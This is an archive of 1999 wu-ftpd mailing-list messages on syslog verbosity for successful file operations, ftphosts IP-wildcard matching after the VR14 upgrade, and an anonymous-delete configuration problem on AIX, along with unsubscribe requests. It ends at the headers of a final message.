Reply-To: [email protected]
Sender: [email protected]
From: Roger Hanke <[email protected]>
To: "'Gregory A Lundberg'" <[email protected]>
Cc: "'WUFTPD List'" <[email protected]>,
"'Bernhard Rosenkraenzer'"
<[email protected]>
Subject: RE: why nonsuppressible syslog calls on successful actions?
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory,
With regards to the snippet below, I would like to make a
request that these type of messages are bracketed by
the log security flag so that they are suppressed by default
but activated whenever someone is looking for all possible
security problems. They seem in the same class as other
security messages that only come out when security
logging is active. By the way what was the complete set
of messages you felt were in this category?
IMHO,
Roger Hanke

>-----Original Message-----
>From: Gregory A Lundberg [SMTP:[email protected]]
>Sent: Friday, March 05, 1999 4:41 PM
>To: Roger Hanke
>Cc: 'WUFTPD List'; 'Bernhard Rosenkraenzer'
>Subject: Re: why nonsuppressible syslog calls on successful actions?
>
>[* rah *] For messages like these (there's several more), mainly because
>nobody's
>ever _asked_ to have them suppressed. In fact, in the past, there were
>requests for MORE such messages, which VR has added.
>
>Personally, I think it's a good idea to know when someone's done something
>special on the machine, but I can see the desire to supress them if you
>really don't think such things may indicate security problems.
>

From [email protected] Sun Mar 7 21:51:08 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA03356;
Sun, 7 Mar 1999 21:51:07 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA24835;
Sun, 7 Mar 1999 21:46:26 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA21309
for <[email protected]>; Sun, 7 Mar 1999 21:43:54 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id WAA19912;
Sun, 7 Mar 1999 22:43:35 -0500
Message-Id: <[email protected]>
Date: Sun, 7 Mar 1999 22:43:35 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Roger Hanke <[email protected]>
Cc: "'WUFTPD List'" <[email protected]>,
"'Bernhard Rosenkraenzer'" <[email protected]>
Subject: RE: why nonsuppressible syslog calls on successful actions?
In-Reply-To: <c=US%a=_%p=att%[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Sun, 7 Mar 1999, Roger Hanke wrote:

> With regards to the snippet below, I would like to make a request
> that these type of messages are bracketed by the log security flag so
> that they are suppressed by default but activated whenever someone is
> looking for all possible security problems. They seem in the same
> class as other security messages that only come out when security
> logging is active. By the way what was the complete set of messages
> you felt were in this category?

> >[* rah *] For messages like these (there's several more), mainly
> >because nobody's ever _asked_ to have them suppressed. In fact, in
> >the past, there were requests for MORE such messages, which VR has
> >added.

I'll have to dig through the code to find all the messages. What I've
been thinking of since you first email is some breakdown for logging
verbosity. Something along the lines of:

- none
- connection/disconnection
- failed/refused connections
- file/directory operations (creation/deletion/renaming/chmod/...)
- failed/refused file/directory operations
- program execution (SITE EXEC, ftpconversions)
- failed/refused program execution
- ???

The log security feature added a number of failed/refused messages.

I'm thinking something along the lines of a severity-level be assigned to
each such message and the log security option be enhanced to select the
level with a default for no 'log security' specified and another for 'log
security' with no level specified.

Another approach would be to name each class and have an optional name
list on the 'log security' clause to select which classes you want to
appear in the syslog. Again, with appropriate defaults.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sun Mar 7 22:21:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA03803;
Sun, 7 Mar 1999 22:21:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA30036;
Sun, 7 Mar 1999 22:18:40 -0600 (CST)
Received: from ygmail.kt.co.kr ([147.6.3.33])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA15820
for <[email protected]>; Sun, 7 Mar 1999 22:15:09 -0600 (CST)
Received: from kt.co.kr ([147.6.9.99])
by ygmail.kt.co.kr (8.8.8/8.8.8) with ESMTP id NAA01037
for <[email protected]>; Mon, 8 Mar 1999 13:17:30 +0900 (KST)
Message-Id: <[email protected]>
Date: Mon, 08 Mar 1999 13:18:02 +0900
Reply-To: [email protected]
Sender: [email protected]
From: Myoung-Sun Chong <[email protected]>
To: "[email protected]" <[email protected]>
Subject: unsubscribe
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------416B52DEA44E11A3B6E271DD"
X-Mailer: Mozilla 4.02 [en] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.
--------------416B52DEA44E11A3B6E271DD
Content-Type: text/plain; charset=iso-2022-kr
Content-Transfer-Encoding: 7bit

unsubscribe
--
To live to know Him is the best by far

--------------416B52DEA44E11A3B6E271DD
Content-Type: text/x-vcard; charset=iso-2022-kr; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Jackie Chong
Content-Disposition: attachment; filename="vcard.vcf"

begin: vcard
fn: Jackie Chong
n: Chong;Jackie
org: Korea Telecom
email;internet: [email protected]
title: Technical Staff, Internet Team.
x-mozilla-cpt: ;0
x-mozilla-html: FALSE
version: 2.1
end: vcard

--------------416B52DEA44E11A3B6E271DD--

From [email protected] Mon Mar 8 00:49:33 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id AAA05130;
Mon, 8 Mar 1999 00:49:32 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id AAA28531;
Mon, 8 Mar 1999 00:44:37 -0600 (CST)
Received: from noya.bupt.edu.cn (noya.bupt.edu.cn [202.112.96.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id AAA21521
for <[email protected]>; Mon, 8 Mar 1999 00:38:08 -0600 (CST)
Received: from SWALLOW ([202.112.10.152])
by noya.bupt.edu.cn (8.9.3/8.9.1) with SMTP id OAA08892
for <[email protected]>; Mon, 8 Mar 1999 14:32:48 +0800 (CST)
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 14:37:33 +0800
Reply-To: [email protected]
Sender: [email protected]
From: "Zhang Yan" <[email protected]>
To: <[email protected]>
Subject: unsubscribe
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0012_01BE6971.33E948A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.

------=_NextPart_000_0012_01BE6971.33E948A0
Content-Type: text/plain;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable

unsubscribe

------=_NextPart_000_0012_01BE6971.33E948A0
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Dgb2312 http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>unsubscribe</DIV></BODY></HTML>

------=_NextPart_000_0012_01BE6971.33E948A0--

From [email protected] Mon Mar 8 09:15:50 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA09828;
Mon, 8 Mar 1999 09:15:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA05363;
Mon, 8 Mar 1999 09:10:32 -0600 (CST)
Received: from alms1.fw.att.com (alms1.att.com [192.128.167.146])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA10280
for <[email protected]>; Mon, 8 Mar 1999 09:05:17 -0600 (CST)
Received: from merlin.lz.att.com ([135.25.200.5])
by alms1.fw.att.com (AT&T/IPNS/GW-1.0) with SMTP id KAA01210
for <[email protected]>; Mon, 8 Mar 1999 10:04:37 -0500 (EST)
Received: by merlin.lz.att.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62)
id <[email protected]>; Mon, 8 Mar 1999 10:07:29 -0500
Message-Id: <c=US%a=_%p=att%[email protected]>
Date: Mon, 8 Mar 1999 10:07:27 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Roger Hanke <[email protected]>
To: "'[email protected]'" <[email protected]>
Cc: "'WUFTPD List'" <[email protected]>,
"'Bernhard Rosenkraenzer'"
<[email protected]>
Subject: RE: why nonsuppressible syslog calls on successful actions?
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Sounds like a great solution as usual.
Thanx,
Roger Hanke

-----Original Message-----
From: Gregory A Lundberg [mailto:[email protected]]
Sent: Sunday, March 07, 1999 10:44 PM
To: Roger Hanke
Cc: 'WUFTPD List'; 'Bernhard Rosenkraenzer'
Subject: RE: why nonsuppressible syslog calls on successful actions?

On Sun, 7 Mar 1999, Roger Hanke wrote:

> With regards to the snippet below, I would like to make a request
> that these type of messages are bracketed by the log security flag so
> that they are suppressed by default but activated whenever someone is
> looking for all possible security problems. They seem in the same
> class as other security messages that only come out when security
> logging is active. By the way what was the complete set of messages
> you felt were in this category?

> >[* rah *] For messages like these (there's several more), mainly
> >because nobody's ever _asked_ to have them suppressed. In fact, in
> >the past, there were requests for MORE such messages, which VR has
> >added.

I'll have to dig through the code to find all the messages. What I've
been thinking of since you first email is some breakdown for logging
verbosity. Something along the lines of:

- none
- connection/disconnection
- failed/refused connections
- file/directory operations (creation/deletion/renaming/chmod/...)
- failed/refused file/directory operations
- program execution (SITE EXEC, ftpconversions)
- failed/refused program execution
- ???

The log security feature added a number of failed/refused messages.

I'm thinking something along the lines of a severity-level be assigned
to
each such message and the log security option be enhanced to select the
level with a default for no 'log security' specified and another for
'log
security' with no level specified.

Another approach would be to name each class and have an optional name
list on the 'log security' clause to select which classes you want to
appear in the syslog. Again, with appropriate defaults.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 8 13:04:36 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA12746;
Mon, 8 Mar 1999 13:04:35 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA20925;
Mon, 8 Mar 1999 12:59:46 -0600 (CST)
Received: from ckgppxy1.proxy.att.com (ckmsfw1.att.com [12.20.58.157])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA15333
for <[email protected]>; Mon, 8 Mar 1999 12:52:52 -0600 (CST)
Received: from merlin.lz.att.com ([135.25.200.5])
by ckgppxy1.proxy.att.com (AT&T/IPNS/GW-1.0) with SMTP id NAA21593
for <[email protected]>; Mon, 8 Mar 1999 13:52:20 -0500 (EST)
Received: by merlin.lz.att.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62)
id <[email protected]>; Mon, 8 Mar 1999 13:55:19 -0500
Message-Id: <c=US%a=_%p=att%[email protected]>
Date: Mon, 8 Mar 1999 13:55:17 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Roger Hanke <[email protected]>
To: "'[email protected]'" <[email protected]>
Cc: "'WUFTPD List'" <[email protected]>,
"'Bernhard Rosenkraenzer'"
<[email protected]>
Subject: RE: why nonsuppressible syslog calls on successful actions?
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory,
In looking for the other syslog calls that were not
suppressible just found a few in ftpd.c out of
the 100 some LOG_NOTICE calls there that were not
already bracketed by the log_security flag.
So I just added the log_security flag around the
LOG_NOTICE statements when a directory is created,
when a file is renamed, when a file is deleted, and
when a directory is deleted.
Now a guest account can create a subdir, put a
file to it, rename that file, delete that file,
then delete the subdir, and no NOTICEs show up
in the syslog. Only if errors occur on these
operations does anything get logged. Or if turn
on log security then all of these operations
get logged.
So just wanted to mention this in case you would
be interested in the quick fix vs the revamping
of the logging into levels as you described.
Roger

-----Original Message-----
From: Roger Hanke
Sent: Monday, March 08, 1999 10:07 AM
To: '[email protected]'
Cc: 'WUFTPD List'; 'Bernhard Rosenkraenzer'
Subject: RE: why nonsuppressible syslog calls on successful actions?

Sounds like a great solution as usual.
Thanx,
Roger Hanke

-----Original Message-----
From: Gregory A Lundberg [mailto:[email protected]]
Sent: Sunday, March 07, 1999 10:44 PM
To: Roger Hanke
Cc: 'WUFTPD List'; 'Bernhard Rosenkraenzer'
Subject: RE: why nonsuppressible syslog calls on successful actions?

On Sun, 7 Mar 1999, Roger Hanke wrote:

> With regards to the snippet below, I would like to make a request
> that these type of messages are bracketed by the log security flag so
> that they are suppressed by default but activated whenever someone is
> looking for all possible security problems. They seem in the same
> class as other security messages that only come out when security
> logging is active. By the way what was the complete set of messages
> you felt were in this category?

> >[* rah *] For messages like these (there's several more), mainly
> >because nobody's ever _asked_ to have them suppressed. In fact, in
> >the past, there were requests for MORE such messages, which VR has
> >added.

I'll have to dig through the code to find all the messages. What I've
been thinking of since you first email is some breakdown for logging
verbosity. Something along the lines of:

- none
- connection/disconnection
- failed/refused connections
- file/directory operations (creation/deletion/renaming/chmod/...)
- failed/refused file/directory operations
- program execution (SITE EXEC, ftpconversions)
- failed/refused program execution
- ???

The log security feature added a number of failed/refused messages.

I'm thinking something along the lines of a severity-level be assigned
to
each such message and the log security option be enhanced to select the
level with a default for no 'log security' specified and another for
'log
security' with no level specified.

Another approach would be to name each class and have an optional name
list on the 'log security' clause to select which classes you want to
appear in the syslog. Again, with appropriate defaults.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 8 13:49:30 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA13297;
Mon, 8 Mar 1999 13:49:30 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA16102;
Mon, 8 Mar 1999 13:45:51 -0600 (CST)
Received: from dticexch.dtic.mil (dticexch.dtic.mil [131.84.6.66])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA30684
for <[email protected]>; Mon, 8 Mar 1999 13:45:00 -0600 (CST)
Received: by dticexch.dtic.mil with Internet Mail Service (5.5.2448.0)
id <G1SZTX3M>; Mon, 8 Mar 1999 14:44:59 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 14:44:50 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Bitar, Martin (NCI)" <[email protected]>
To: "'[email protected]'" <[email protected]>
Subject: HELP!!!
MIME-Version: 1.0
Content-Type: text/plain
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I NEED HELP!!

I upgraded our WU-FTP server from Version wu-2.4.2-academ[BETA-18] to
[BETA-18-VR14]. However, it seems that the new server does NOT accept wild
cards with IP addresses in the ftphost file. All ftp accounts listed in the
file can no longer get in. They get a "login incorrect" message. The
entries in logfiles, state the following:
"FTP LOGIN REFUSED (name in /etc/ftphosts) FROM `users' hostname` [users'
IP address], userid"

However, when I add a full IP address, the users can ftp successfully.

My ftphosts and ftpaccess files are intact and haven't changed after the
upgrade. I checked them - and the entries in them - repeatedly after the
upgrade to insure their accuracy and validity. It worked seamlessly
before, but doesn't after the upgrade :-< I had to revert back to the old
version of wu-ftpd. I also tried a clean install on a different server to
rule out the possibility of any conflicts with files from an older
installation/version.......same results!

I'm running Solaris 2.6 on an Ultra-1 box. Any input would be GREATLY
appreciated!

Martin

From [email protected] Mon Mar 8 14:49:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA14237;
Mon, 8 Mar 1999 14:49:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA18161;
Mon, 8 Mar 1999 14:44:58 -0600 (CST)
Received: from mail-atm.nycap.rr.com ([email protected] [24.92.32.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA24324
for <[email protected]>; Mon, 8 Mar 1999 14:41:30 -0600 (CST)
Received: from yua2 (cisco-56-184.nycap.rr.com [24.92.56.184])
by mail-atm.nycap.rr.com (8.9.1/8.9.1) with SMTP id PAA20870;
Mon, 8 Mar 1999 15:41:26 -0500 (EST)
Message-Id: <[email protected]>
Date: Mon, 08 Mar 1999 15:43:46 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Alex Yu <[email protected]>
To: [email protected],
"'[email protected]'" <[email protected]>
Subject: Re: HELP!!!
In-Reply-To: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 02:44 PM 1999/3/8 -0500, Bitar, Martin (NCI) wrote:

>I upgraded our WU-FTP server from Version wu-2.4.2-academ[BETA-18] to
>[BETA-18-VR14]. However, it seems that the new server does NOT accept wild

VR15 fixed that. Besides that, VR16 is out.

Alex

From [email protected] Mon Mar 8 15:29:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA14721;
Mon, 8 Mar 1999 15:29:29 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA08779;
Mon, 8 Mar 1999 15:24:16 -0600 (CST)
Received: from bajan.pct.edu (pat.pct.edu [12.4.137.254])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA04791
for <[email protected]>; Mon, 8 Mar 1999 15:22:46 -0600 (CST)
Received: from localhost (dhill@localhost [127.0.0.1])
by bajan.pct.edu (8.8.7/8.8.7) with ESMTP id PAA02911
for <[email protected]>; Mon, 8 Mar 1999 15:26:25 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 15:26:25 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Duncan Hill <[email protected]>
To: [email protected]
Subject: Problem with anon on AIX 4.3.1
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: [email protected]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Greetings.

I've encountered a slight problem getting anonymous access in Beta 18
on an AIX box to work properly. The server is meant to have a shared
directory that everyone can read and write from/to, but not be able to
delete (don't ask why.. thats the order from above). After about 8
compiles (getting all the defines in pathnames.h right), ckconfig
finally gave me the output that I wanted. Installed wuftpd, ftp'd in
as anonymous, changed to the shared directory, and put a file. All is
good. Typed in dele file, and got a successful command, and the file
was gone. Yet, in ftpaccess, I have delete set to no for anonymous
logins. Is there any way to check that wuftpd is actually reading the
config file?

Help!

--

Duncan Hill Penn College Proud - www.pct.edu
One net to rule them all, One net to find them,
One net to bring them all, and using Unix bind them.

From [email protected] Mon Mar 8 16:00:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA15130;
Mon, 8 Mar 1999 16:00:23 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA11734;
Mon, 8 Mar 1999 15:56:42 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA06362
for <[email protected]>; Mon, 8 Mar 1999 15:50:08 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA27678;
Mon, 8 Mar 1999 16:50:04 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 16:50:03 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Duncan Hill <[email protected]>
Cc: [email protected]
Subject: Re: Problem with anon on AIX 4.3.1
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 8 Mar 1999, Duncan Hill wrote:

> I've encountered a slight problem getting anonymous access in Beta 18
> on an AIX box to work properly. The server is meant to have a shared
> directory that everyone can read and write from/to, but not be able to
> delete (don't ask why.. thats the order from above). After about 8
> compiles (getting all the defines in pathnames.h right), ckconfig
> finally gave me the output that I wanted. Installed wuftpd, ftp'd in
> as anonymous, changed to the shared directory, and put a file. All is
> good. Typed in dele file, and got a successful command, and the file
> was gone. Yet, in ftpaccess, I have delete set to no for anonymous
> logins. Is there any way to check that wuftpd is actually reading the
> config file?

I'd say you just ran on e and it failed. check you command-line to be
sure it has -a

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 8 16:19:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA15417;
Mon, 8 Mar 1999 16:19:27 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA22101;
Mon, 8 Mar 1999 16:15:46 -0600 (CST)
Received: from aventurine.sge.net (aventurine.sge.net [152.91.14.25])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA08873
for <[email protected]>; Mon, 8 Mar 1999 16:10:40 -0600 (CST)
Received: from titanium.sge.net ([email protected] [152.91.9.2])
by aventurine.sge.net (8.9.3/8.9.3) with ESMTP id JAA18858;
Tue, 9 Mar 1999 09:09:59 +1100 (EST)
Received: (from uucp@localhost)
by titanium.sge.net (8.8.5/8.8.5) id JAA01545;
Tue, 9 Mar 1999 09:09:57 +1100 (EST)
Received: from kryptonite.sge.net(10.1.2.11) by titanium.sge.net via smap (3.2)
id xma001233; Tue, 9 Mar 99 09:09:45 +1100
Received: from amber. (ice-int2.sge.net [10.1.2.254])
by kryptonite.sge.net (8.9.3/8.9.3) with SMTP id JAA06914;
Tue, 9 Mar 1999 09:09:45 +1100 (EST)
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 09:08:43 +1100
Reply-To: [email protected]
Sender: [email protected]
From: James McMahon <[email protected]>
To: "Bitar, Martin (NCI)" <[email protected]>
Cc: "'[email protected]'" <[email protected]>
Subject: Re: HELP!!!
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I had this same problem a month or so ago. The following is the reasons for
the change, and a
recommendation that you change the format of your ftphosts file ( mostly
paraphrased from an email that I received from Gregory Lundberg)

--

if you have a statement in your ftphosts file such as

allow usera 10.1.1.*

then usera on host 10.1.1.attacker.net could log in to your server.

A far better (security wise) and equivalent (effect wise) solution is to use
one of the following formats:

allow usera 10.1.1.0/24 or
allow usera 10.1.1.0:255.255.255.0

After saying all that, the above problems were fixed in Beta 15 and Beta 16 so
that the 10.1.1.* notation would work as you expected and not allow hosts of
the form 10.1.1.attacker.net

In summary ... If you upgrade to Beta15 or Beta16, it will work as you expect,
but I would still recommend you modify your ftphosts file to use CIDR or
address:netmask notation.

Anyway, I hope this has made it a bit clearer for you.

James
Secure Gateway Environment

Bitar, Martin (NCI) wrote:

> I NEED HELP!!
>
> I upgraded our WU-FTP server from Version wu-2.4.2-academ[BETA-18] to
> [BETA-18-VR14]. However, it seems that the new server does NOT accept wild
> cards with IP addresses in the ftphost file. All ftp accounts listed in
> the
> file can no longer get in. They get a "login incorrect" message. The
> entries in logfiles, state the following:
> "FTP LOGIN REFUSED (name in /etc/ftphosts) FROM `users' hostname` [users'
> IP address], userid"
>
> However, when I add a full IP address, the users can ftp successfully.
>
> My ftphosts and ftpaccess files are intact and haven't changed after the
> upgrade. I checked them - and the entries in them - repeatedly after the
> upgrade to insure their accuracy and validity. It worked seamlessly
> before, but doesn't after the upgrade :- version of wu-ftpd. I also tried a clean install on a different server to
> rule out the possibility of any conflicts with files from an older
> installation/version.......same results!
>
> I'm running Solaris 2.6 on an Ultra-1 box. Any input would be GREATLY
> appreciated!
>
> Martin

From [email protected] Mon Mar 8 16:22:01 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA15478;
Mon, 8 Mar 1999 16:22:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA10329;
Mon, 8 Mar 1999 16:18:27 -0600 (CST)
Received: from aventurine.sge.net (aventurine.sge.net [152.91.14.25])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA23819
for <[email protected]>; Mon, 8 Mar 1999 16:14:37 -0600 (CST)
Received: from titanium.sge.net ([email protected] [152.91.9.2])
by aventurine.sge.net (8.9.3/8.9.3) with ESMTP id JAA20778;
Tue, 9 Mar 1999 09:14:28 +1100 (EST)
Received: (from uucp@localhost)
by titanium.sge.net (8.8.5/8.8.5) id JAA05164;
Tue, 9 Mar 1999 09:14:27 +1100 (EST)
Received: from kryptonite.sge.net(10.1.2.11) by titanium.sge.net via smap (3.2)
id xma004889; Tue, 9 Mar 99 09:14:07 +1100
Received: from amber. (ice-int2.sge.net [10.1.2.254])
by kryptonite.sge.net (8.9.3/8.9.3) with SMTP id JAA09595;
Tue, 9 Mar 1999 09:14:07 +1100 (EST)
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 09:13:02 +1100
Reply-To: [email protected]
Sender: [email protected]
From: James McMahon <[email protected]>
To: Duncan Hill <[email protected]>
Cc: [email protected]
Subject: Re: Problem with anon on AIX 4.3.1
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

The first thing that I would check is that you are running the daemon with
the -a flag.
The easiest way to check if it is using the ftpaccess file is to change
the greeting banner file
and then log into your server again, checking that the correct banner is
displayed.

It would also be appreciated if you could provide some more information
about
which version of wu-ftpd you are running, and any other options.

This should be covered in the FAQ, which is available at:

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

James
Secure Gateway Environment

Duncan Hill wrote:

> Greetings.
>
> I've encountered a slight problem getting anonymous access in Beta 18
> on an AIX box to work properly. The server is meant to have a shared
> directory that everyone can read and write from/to, but not be able to
> delete (don't ask why.. thats the order from above). After about 8
> compiles (getting all the defines in pathnames.h right), ckconfig
> finally gave me the output that I wanted. Installed wuftpd, ftp'd in
> as anonymous, changed to the shared directory, and put a file. All is
> good. Typed in dele file, and got a successful command, and the file
> was gone. Yet, in ftpaccess, I have delete set to no for anonymous
> logins. Is there any way to check that wuftpd is actually reading the
> config file?
>
> Help!
>
> --
>
> Duncan Hill Penn College Proud - www.pct.edu
> One net to rule them all, One net to find them,
> One net to bring them all, and using Unix bind them.

From [email protected] Mon Mar 8 16:32:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA15673;
Mon, 8 Mar 1999 16:32:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA00277;
Mon, 8 Mar 1999 16:28:50 -0600 (CST)
Received: from bajan.pct.edu (pat.pct.edu [12.4.137.254])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA01123
for <[email protected]>; Mon, 8 Mar 1999 16:22:37 -0600 (CST)
Received: from localhost (dhill@localhost [127.0.0.1])
by bajan.pct.edu (8.8.7/8.8.7) with ESMTP id RAA03059
for <[email protected]>; Mon, 8 Mar 1999 17:08:23 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 17:08:23 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Duncan Hill <[email protected]>
To: [email protected]
